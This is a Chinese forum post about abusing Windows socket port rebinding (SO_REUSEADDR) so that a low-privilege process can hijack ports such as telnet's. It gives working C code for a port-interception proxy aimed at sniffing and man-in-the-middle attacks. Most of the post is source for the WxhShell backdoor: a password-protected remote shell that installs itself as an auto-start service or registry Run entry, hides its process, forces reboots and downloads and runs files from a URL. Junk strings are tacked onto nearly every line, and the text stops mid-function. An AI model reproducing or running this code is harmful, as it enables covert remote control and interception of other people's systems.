社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11333阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 33O@jb s@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y//yLrs;  
NX?J  
  saddr.sin_family = AF_INET; P)?)H]J"  
*KP 60T  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o0:[,ock  
DkP%1Crdr  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); h9)QQPP  
h"S+8Y:1{k  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 pZR KM<k  
|V2+4b,  
  这意味着什么?意味着可以进行如下的攻击: ]KMOLe6(  
W&[}-E8<Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 gt5  
8=^o2&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) YadY?o./  
Z:|2PQ4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =N-,.{`  
f Q.ea#xh^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~Tv %6iaeE  
2nOoG/6 E  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 PjEKZHHz  
> m GO08X  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 GI}h )T  
pQaP9Y{OK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bdiyS.a-  
^F<[5e)M  
  #include 8$!/Zg  
  #include !m"(SJn"  
  #include 8S1%;@c  
  #include    L 6){wQ%c  
  DWORD WINAPI ClientThread(LPVOID lpParam);   YcS }ug7  
  int main() JHN3 5a+  
  { `, ?T;JRc  
  WORD wVersionRequested; 6Cut[*lj^  
  DWORD ret; K;2tY+I  
  WSADATA wsaData; )B@veso{  
  BOOL val; 5B{O!SNd  
  SOCKADDR_IN saddr; #`5 M( o  
  SOCKADDR_IN scaddr; EJYfk?(B  
  int err; K /h9x9^  
  SOCKET s; <Tr_,Ya{9  
  SOCKET sc; {\G4YQ  
  int caddsize; zO`54^  
  HANDLE mt; $l }MB7  
  DWORD tid;   H"8+[.xBh  
  wVersionRequested = MAKEWORD( 2, 2 ); 2~+Iu +  
  err = WSAStartup( wVersionRequested, &wsaData ); x,"'\=|s*  
  if ( err != 0 ) { ,R$n I*mf_  
  printf("error!WSAStartup failed!\n"); 'j];tO6GfC  
  return -1; F9]j{'#  
  } GYot5iLg  
  saddr.sin_family = AF_INET; +x$;T*0  
   @*W,Jm3Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 { hUbK+dKZ  
j3F[C:-zY  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); s%`o  
  saddr.sin_port = htons(23); [Dp6q~RM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y'kD_T`f,  
  { -nG3(n&wB  
  printf("error!socket failed!\n"); u79.`,Ad&  
  return -1; 6sl*Ko[  
  } C,-q2ry  
  val = TRUE; N4"%!.Y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 C^RO@kM  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $@q)IK%FDL  
  { LjjE(Yrv{  
  printf("error!setsockopt failed!\n"); b #|M-DmT  
  return -1; X""<5s'0  
  } ]c8lZO>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; G}mJtXT#=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 sj003jeko  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 YD$fN"}-  
6gfv7V2H  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mY2 Ubn*  
  { 3.B|uN  
  ret=GetLastError(); j&) +qTV  
  printf("error!bind failed!\n"); \(jSkrrD  
  return -1; oUR'gc :  
  } N5[QQtQ  
  listen(s,2); o <8L, u(U  
  while(1) )El#Ks5u  
  { I(ds]E ;_E  
  caddsize = sizeof(scaddr); @rkNx@[~  
  //接受连接请求 ;id0|x  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -uenCWF\#  
  if(sc!=INVALID_SOCKET) r8+{HknB;  
  { $@[6jy  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); s$J0^8Q~i  
  if(mt==NULL) ( du<0J|PT  
  { OOs Y{8xM  
  printf("Thread Creat Failed!\n"); Z1u{.^~^z  
  break; 5YMjvhr?W  
  } rC}r99Pe:x  
  } W"YFx*W  
  CloseHandle(mt); FkR9-X<  
  } s2riayM9/  
  closesocket(s); =9FY;9  
  WSACleanup(); xl@l<  
  return 0; QRhR.:M\  
  }   $S|bD$e  
  DWORD WINAPI ClientThread(LPVOID lpParam) l~Hs]*jm  
  { `gfh]7T  
  SOCKET ss = (SOCKET)lpParam; $fV47;U'*  
  SOCKET sc; 3D[IZ^%VtM  
  unsigned char buf[4096]; { :'#Ts<  
  SOCKADDR_IN saddr; xR q|W4ay  
  long num; pJ"Wg@+  
  DWORD val; Eic/#j{4  
  DWORD ret; /`>BPQH`}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L;H(I@p(e  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1om:SHw  
  saddr.sin_family = AF_INET; 4!,x3H'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #GT/Q3{C  
  saddr.sin_port = htons(23); ir-srVoXy  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yYwZZa1  
  { kUUeyq  
  printf("error!socket failed!\n"); bEyZRG  
  return -1; qd(C%Wk  
  } NGtSC_~d  
  val = 100; \ " {+J  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uV`r_P  
  { ;*5$xs&=_Z  
  ret = GetLastError(); `WGT`A"  
  return -1; gUwg\>UC  
  } <43O,Kx'Su  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZH;VEX  
  { C|bnUN  
  ret = GetLastError(); O@6iG  
  return -1; #mLF6 "A  
  } +KgLe>-}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) b^_#f:_j  
  { .w/w] Eq  
  printf("error!socket connect failed!\n"); G?)NDRM  
  closesocket(sc); 8+5# FC7  
  closesocket(ss); '!^5GSP3&  
  return -1; pyYm<dn  
  } / E}L%OvE  
  while(1) s9+Rq*Qd  
  { uMKO^D  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 L|pMq!@J  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #pO=\lJ,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 kN_ i0~y@-  
  num = recv(ss,buf,4096,0); i#]}k  
  if(num>0) d"o5uo  
  send(sc,buf,num,0); ,r^zDlS<q  
  else if(num==0) yIy'"BCxM  
  break; wd*8w$\  
  num = recv(sc,buf,4096,0); x`~YTOfYk  
  if(num>0) 15dhr]8E  
  send(ss,buf,num,0); ?!TFoD2'  
  else if(num==0) F3+ ;2GG2  
  break; MIma:N_c  
  } @i2"+_}*  
  closesocket(ss); .UX`@Q:Gp  
  closesocket(sc); V&)Jvx}^  
  return 0 ; :0N} K}  
  } 4FrP%|%E~  
(:Di/{i&r5  
AB(WK9o  
========================================================== q_iPWmf p*  
Io_bS+  
下边附上一个代码,,WXhSHELL N~NUBEKcp  
v2eLH:6  
========================================================== jHjap:i`cI  
h [*/Tnr  
#include "stdafx.h" W D8  
"3Y(uN  
#include <stdio.h> IE*eDj  
#include <string.h> y buKwZFC  
#include <windows.h> #<h//<  
#include <winsock2.h> Gbj^oo  
#include <winsvc.h> E;v#'  
#include <urlmon.h> RT C;Wj  
\jA#RF.W  
#pragma comment (lib, "Ws2_32.lib") `>ppDQaS)W  
#pragma comment (lib, "urlmon.lib") 4# +i\H`  
*G rYB6MT  
#define MAX_USER   100 // 最大客户端连接数 [vv $"$z  
#define BUF_SOCK   200 // sock buffer P^'TI[\L9  
#define KEY_BUFF   255 // 输入 buffer Q Ev7k  
j xc^OsYj  
#define REBOOT     0   // 重启 wWkMvs  
#define SHUTDOWN   1   // 关机  'ug:ic  
I9  (6  
#define DEF_PORT   5000 // 监听端口 _v6x3 Z  
J2 ZV\8t  
#define REG_LEN     16   // 注册表键长度 jouA ]E  
#define SVC_LEN     80   // NT服务名长度 jK^Q5iD  
]`eP"U{  
// 从dll定义API IL>VH`D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Wn%b}{9Fb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OsT|MX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X 0vcBHh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); { )g $  
<uG6!P  
// wxhshell配置信息 ,ZV>"'I:  
struct WSCFG { Z ".Xroq~  
  int ws_port;         // 监听端口 U9"(jl/o  
  char ws_passstr[REG_LEN]; // 口令 fI v?HD:j  
  int ws_autoins;       // 安装标记, 1=yes 0=no `92P~Y~`W  
  char ws_regname[REG_LEN]; // 注册表键名 [$X^r<|P@  
  char ws_svcname[REG_LEN]; // 服务名 ;rRV=$y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  Q}9!aB,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xyD2<?dGUb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^UCH+C yl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g@2KnzD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" baoyU#X9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ${)oi:K@:  
"&:H }Jd  
}; PrHoN2y5E  
,njlKkFw^Z  
// default Wxhshell configuration NkV81?  
struct WSCFG wscfg={DEF_PORT, 72CHyl`|l  
    "xuhuanlingzhe", t6uYFxE  
    1, Jmuyd\?,b  
    "Wxhshell", g=/!Ry=  
    "Wxhshell", @<.ei)cqb  
            "WxhShell Service", @O`T|7v  
    "Wrsky Windows CmdShell Service", {/j gB"9  
    "Please Input Your Password: ", [l/!&6  
  1, D0Mxl?S?  
  "http://www.wrsky.com/wxhshell.exe", efNscgi  
  "Wxhshell.exe" I_m3|VCa|t  
    }; h,?%,GI  
9W0*|!tQ,+  
// 消息定义模块 I7wR[&L885  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BRy3D\}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fK6[ p&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DRpF EWsm  
char *msg_ws_ext="\n\rExit."; *c\XQy  
char *msg_ws_end="\n\rQuit."; hVz] wKP  
char *msg_ws_boot="\n\rReboot..."; NB4 Q,iq$  
char *msg_ws_poff="\n\rShutdown..."; O/U?Wq  
char *msg_ws_down="\n\rSave to "; $q*a}d[Q  
,CI-IR2  
char *msg_ws_err="\n\rErr!"; "IB36/9  
char *msg_ws_ok="\n\rOK!"; A%2B3@1'q  
H| _@9V  
char ExeFile[MAX_PATH]; *MS$C$HOq  
int nUser = 0; x`c 7*q%  
HANDLE handles[MAX_USER]; ; Xf1BG r  
int OsIsNt; c4u/tt.)  
9%Tqk"x?  
SERVICE_STATUS       serviceStatus; Y=4 7se=h"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HUMy\u84H  
Wsgp#W+  
// 函数声明 gs3c1Qa3b  
int Install(void); MhR`  
int Uninstall(void); ? )h8uf4  
int DownloadFile(char *sURL, SOCKET wsh); F3qCtx *N  
int Boot(int flag); (5@H<c^6  
void HideProc(void); tkH]_cH'w  
int GetOsVer(void); oN[}i6^,e  
int Wxhshell(SOCKET wsl); %W8iC%~  
void TalkWithClient(void *cs); \gA<yz-;N  
int CmdShell(SOCKET sock);  ?HRS*  
int StartFromService(void); ImG8v[Q E  
int StartWxhshell(LPSTR lpCmdLine); %.hJDX\j  
J;NIa[a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IA<>+NS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yuy\T(7BN  
%L^(eTi[  
// 数据结构和表定义 _7\`xU  
SERVICE_TABLE_ENTRY DispatchTable[] = q01 L{~>bz  
{ m5iCvOP  
{wscfg.ws_svcname, NTServiceMain}, E a&NJ]& g  
{NULL, NULL} umWs8-'Uw  
}; p:TE##  
dVYY:1PS  
// 自我安装 =3c?W&:  
int Install(void) ;&n iZKoe  
{ o5p{ O>D[z  
  char svExeFile[MAX_PATH]; HA8A}d~  
  HKEY key; R;!@ xy  
  strcpy(svExeFile,ExeFile); n<bU'n  
"d:rPJT)(@  
// 如果是win9x系统,修改注册表设为自启动 z?<B@\~  
if(!OsIsNt) { F$DA/{.D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QK?V^E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Nd]F 33|X  
  RegCloseKey(key);  NdRcA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @]%eL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {daX?N|V  
  RegCloseKey(key); ~9 .=t'  
  return 0; pDZewb&cA  
    } Bkd$'7UT  
  } :Bmn<2[Y;  
} ~;3#MAG  
else { { 7jim  
0: a2ER|J  
// 如果是NT以上系统,安装为系统服务 L4Zt4Yuw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :-}K:ucaj  
if (schSCManager!=0) _]OY[&R  
{ k7Bh[ ..!  
  SC_HANDLE schService = CreateService !h4T3sO  
  ( _i {Y0d+  
  schSCManager, z^U+ oG  
  wscfg.ws_svcname, yf9"Rc~+  
  wscfg.ws_svcdisp, {/]2~!  
  SERVICE_ALL_ACCESS, ##6\~!P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `jGeS[FhR  
  SERVICE_AUTO_START, gMI%!Y  
  SERVICE_ERROR_NORMAL, vSR&>Q%X  
  svExeFile, H P.=6bJWi  
  NULL, ?OFa Q  
  NULL, c'i5,\ #X  
  NULL, ).;{'8Q  
  NULL, x|a&wC2,{  
  NULL OW@%H;b  
  ); 6ieul@?*u*  
  if (schService!=0) :oZ<[#p"*  
  { BQ0?B*yqd  
  CloseServiceHandle(schService); QcL@3QC  
  CloseServiceHandle(schSCManager); ?YW~7zG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xRD+!3  
  strcat(svExeFile,wscfg.ws_svcname); OF7hp5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Mpojabsh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QT,T5Q%JP:  
  RegCloseKey(key); zbxW U]<S?  
  return 0; QEs$9a5TE  
    } P:'wSE91  
  } 9VxM1-8Gs  
  CloseServiceHandle(schSCManager); Bib<ySCre  
} &#2&V>pE  
} 8X,6U_>#a  
@ !P2f   
return 1; R xMsP;be  
} G1z*e.+y  
wtek5C^  
// 自我卸载 Q]K` p(  
int Uninstall(void) ZRxOXt&;  
{ gTho:;q7a  
  HKEY key; rw'+2\  
z ?\it(  
if(!OsIsNt) { lD,2])>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o^@"eG$,  
  RegDeleteValue(key,wscfg.ws_regname); KrpIH6  
  RegCloseKey(key); 3^UdB9j;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |/gt;H~:  
  RegDeleteValue(key,wscfg.ws_regname); `DY yK?R  
  RegCloseKey(key); +X/a+y-  
  return 0; "ioO_  
  } bp?5GU&Uy  
} M1kA-Xr  
} ,0! 2x"Q=  
else { ({!!b"B2  
uxf,95<g)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5tlR rf  
if (schSCManager!=0) jA{5)-g  
{ :.x(( FU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DO: ,PZX  
  if (schService!=0) U>PZ3  
  { StI N+S@Z  
  if(DeleteService(schService)!=0) { ZQfxlzj+X  
  CloseServiceHandle(schService); 072C!F  
  CloseServiceHandle(schSCManager); KYpS4&Xh  
  return 0; )s $]+HQs  
  } 0zr27ko  
  CloseServiceHandle(schService); hObL=^F  
  }  \(\a=  
  CloseServiceHandle(schSCManager); E'LI0fr  
} ;@ePu  
} FHOw ]"#  
$f =`fPo  
return 1; >G5aFk  
} 7H3v[ f^Q  
=d{6=2Pt  
// 从指定url下载文件 bB_LL  
int DownloadFile(char *sURL, SOCKET wsh) 40kAGs>_  
{ <[db)r~c  
  HRESULT hr; 60+zoL'  
char seps[]= "/"; H a!,9{T  
char *token; *$eH3nn6g  
char *file; ='m$ O  
char myURL[MAX_PATH]; j[r}!;O  
char myFILE[MAX_PATH]; VIp|U{  
C7%R2>}?f  
strcpy(myURL,sURL); Ypyi(_G(?>  
  token=strtok(myURL,seps); mo| D  
  while(token!=NULL) (K[{X0T  
  { gnp.!-  
    file=token; o[!'JUxZ  
  token=strtok(NULL,seps); <j'K7We/tP  
  } qf0pi&q  
agUdI_'~@9  
GetCurrentDirectory(MAX_PATH,myFILE); Vh\_Ko\V5  
strcat(myFILE, "\\"); S\:^#Yi`  
strcat(myFILE, file); <X8Urum  
  send(wsh,myFILE,strlen(myFILE),0);  y<Koc>8  
send(wsh,"...",3,0); -N' (2'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bsQ'kBD  
  if(hr==S_OK) E/:U,u{  
return 0; lju5+0BSb  
else MJ:c";KCq0  
return 1; r)t[QoD1  
kZ% AGc  
} ;dzy 5o3  
45JL{YRN  
// 系统电源模块 )g:5}+  
int Boot(int flag) >|SIqB<%:  
{ o26Y }W  
  HANDLE hToken; Gld~GyB\k  
  TOKEN_PRIVILEGES tkp; /4r2B. 91O  
; <FAc R  
  if(OsIsNt) { q2%cLbI F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x]7:MG$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3/RwCtc  
    tkp.PrivilegeCount = 1; N]W*ei  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =Z+^n ?"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b~^'P   
if(flag==REBOOT) { s,_+5ukv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VN)WBv  
  return 0; P`Zon  
} 6m&GN4Ca  
else { E]#;K-j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oywPPVxj  
  return 0; ,3?=W/Um4  
} ["nWIs[h  
  } ' #K@%P  
  else { _f!ko<52  
if(flag==REBOOT) { IgbuMEfL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0L>3 i8'  
  return 0; 0Jv6?7]LKa  
} ~|KqG  
else { 'pA%lc)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T.#_v# oM  
  return 0; >9w^C1"  
} `O7vPE  
} V_ 6K?~j  
6@|!m'  
return 1; fS}Eu4Xe  
} cs2-jbRn  
#s~ITG #H  
// win9x进程隐藏模块 z"6o|]9I  
void HideProc(void) Xf;!w:u  
{ jO"/5 x26  
-, +o*BP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }<G a e5  
  if ( hKernel != NULL ) *c#DB{N  
  { b#7nt ?`7p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZvuY] =^3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (B\Kb4m  
    FreeLibrary(hKernel); 5{-Hg[+9  
  } =F[M>o  
k8E2?kbF  
return; @yGnrfr  
} &# fPJc  
dZ|bw0~_!  
// 获取操作系统版本 0of:tZU  
int GetOsVer(void) d)48m}[:  
{ BSS4}qyS  
  OSVERSIONINFO winfo; O#tmB?n*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !T`g\za/  
  GetVersionEx(&winfo); 4PSbr$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fe4/[S{a   
  return 1; ]UO zz1   
  else 6+sz4  
  return 0; '!X`X=  
} v*excl~  
'1!%yKc0  
// 客户端句柄模块 CEk [&39"  
int Wxhshell(SOCKET wsl) -X EK[  
{ ~i-n_7+  
  SOCKET wsh; /_<_X 7  
  struct sockaddr_in client; %.[AZ>  
  DWORD myID; =[4C[s  
@ &c@  
  while(nUser<MAX_USER) [9EL[}  
{ #)D$\0ag  
  int nSize=sizeof(client); D{]w +  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &hpznIN  
  if(wsh==INVALID_SOCKET) return 1; M9V,;*  
*[nS*D\:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  ">|L<  
if(handles[nUser]==0)  mznE Cy  
  closesocket(wsh); 1%.CtTi  
else yj,+7[)  
  nUser++; l5e`m^GK  
  } w2"]%WS%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k:s86q  
Y0'~u+KS`5  
  return 0; c1%ki%J#  
} pv|D{39Hs  
TGPdi5Eq  
// 关闭 socket %'F[(VB   
void CloseIt(SOCKET wsh) #"-w;T%b  
{ q[Y* .%~  
closesocket(wsh); NLWj5K)1P  
nUser--; )Z?\9'6e4  
ExitThread(0); LrfyH"#!:  
} AK;G_L  
xI=[=;L  
// 客户端请求句柄 vP<8 ,XG  
void TalkWithClient(void *cs) .Wyx#9  
{ `Oi6o[a  
`4]-B@ 7_  
  SOCKET wsh=(SOCKET)cs; doe u`  
  char pwd[SVC_LEN]; vw q Y;7  
  char cmd[KEY_BUFF]; M\9p-%"L  
char chr[1]; FCr>$  
int i,j; Q5v_^O<!  
*O-si%@]  
  while (nUser < MAX_USER) { F[|aDj@q e  
^nL_*+V`f  
if(wscfg.ws_passstr) { g60r m1b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); } SA/,4/9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T;I>5aQ:q4  
  //ZeroMemory(pwd,KEY_BUFF); Oz,/y3_  
      i=0; _q\w9gN  
  while(i<SVC_LEN) { XAr YmO  
zw X 1&rN  
  // 设置超时 b _0Xi  
  fd_set FdRead; au1(.(  
  struct timeval TimeOut; 4~{q=-]V  
  FD_ZERO(&FdRead); g*#.yC1/  
  FD_SET(wsh,&FdRead); &mvC<_1n  
  TimeOut.tv_sec=8; Z4Qq#iHZR  
  TimeOut.tv_usec=0; aV8]?E5G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZA4vQDW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wg,w;Gle  
*e05{C:kS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |q\:3R_0  
  pwd=chr[0]; vvG#O[| O  
  if(chr[0]==0xd || chr[0]==0xa) { d1>Nn!m  
  pwd=0; MY}B)`yx=  
  break; ;/Dp  
  } n P4DHb&5  
  i++; B[O1^jdO  
    } toCT5E_0=  
)W/ mt[;  
  // 如果是非法用户,关闭 socket wGf SVA-q\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $/Q*@4t  
} *G#W],~0  
4`7:gfrO,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C2</.jeLa  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5}4r'P$m:  
J_A5,K*r|  
while(1) { W`^Zb[  
0)'^vJe  
  ZeroMemory(cmd,KEY_BUFF); 58Fan*fO  
N?h=Zl|  
      // 自动支持客户端 telnet标准   ]I#yS=;  
  j=0; b}9Ry"  
  while(j<KEY_BUFF) { viT/$7`AI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bi bjFg   
  cmd[j]=chr[0]; O&?i8XsB  
  if(chr[0]==0xa || chr[0]==0xd) { x\Bl^1&  
  cmd[j]=0; !e >EDYbY  
  break; (JHL0Z/  
  } z5v)~+"1  
  j++;  c6;tbL  
    } . j}dk.#h  
VSCOuNSc  
  // 下载文件 uf (`I  
  if(strstr(cmd,"http://")) { FaC;vuSpy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2#:h.8  
  if(DownloadFile(cmd,wsh)) '8v^.gZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ! 3O#'CV  
  else '@h5j6:2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0S0 ?\r  
  } 3EN?{T<yf  
  else { fYR*B0tu  
i*'6"  
    switch(cmd[0]) { G-[fz  
  $UAmUQg)}_  
  // 帮助 W|oLS  
  case '?': { N246RV1W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @54D<Lj  
    break; ]VY}VALZ  
  } (5] |Kcp|  
  // 安装 y-gSal  
  case 'i': { E-_FxBw  
    if(Install()) eDR4 c%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JB~79Lsdz  
    else 0!YB.=\{_q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |T~C($9  
    break; +(*S@V$c  
    } y,i:BQJ<  
  // 卸载 w:P$ S  
  case 'r': { qh!2dj  
    if(Uninstall()) u;m[,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gwtR<2,p  
    else h[M~cZ{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %Ji@\|Zkf  
    break; ."<mL}Fi(  
    } ?'_E$  
  // 显示 wxhshell 所在路径 Ai&-W  
  case 'p': { hiWfVz{~  
    char svExeFile[MAX_PATH]; M}E0Msq_o  
    strcpy(svExeFile,"\n\r"); (5y+g?9d;  
      strcat(svExeFile,ExeFile); =Jd ('r  
        send(wsh,svExeFile,strlen(svExeFile),0);  -z9-f\  
    break; C=& 7V  
    } I;]Q}SUsm  
  // 重启 \M-}(>Pfk  
  case 'b': {  ~{7/v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pBV_'A}ioh  
    if(Boot(REBOOT)) IKx]?0sS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X#KC<BXw,  
    else { ^sR]w]cz.  
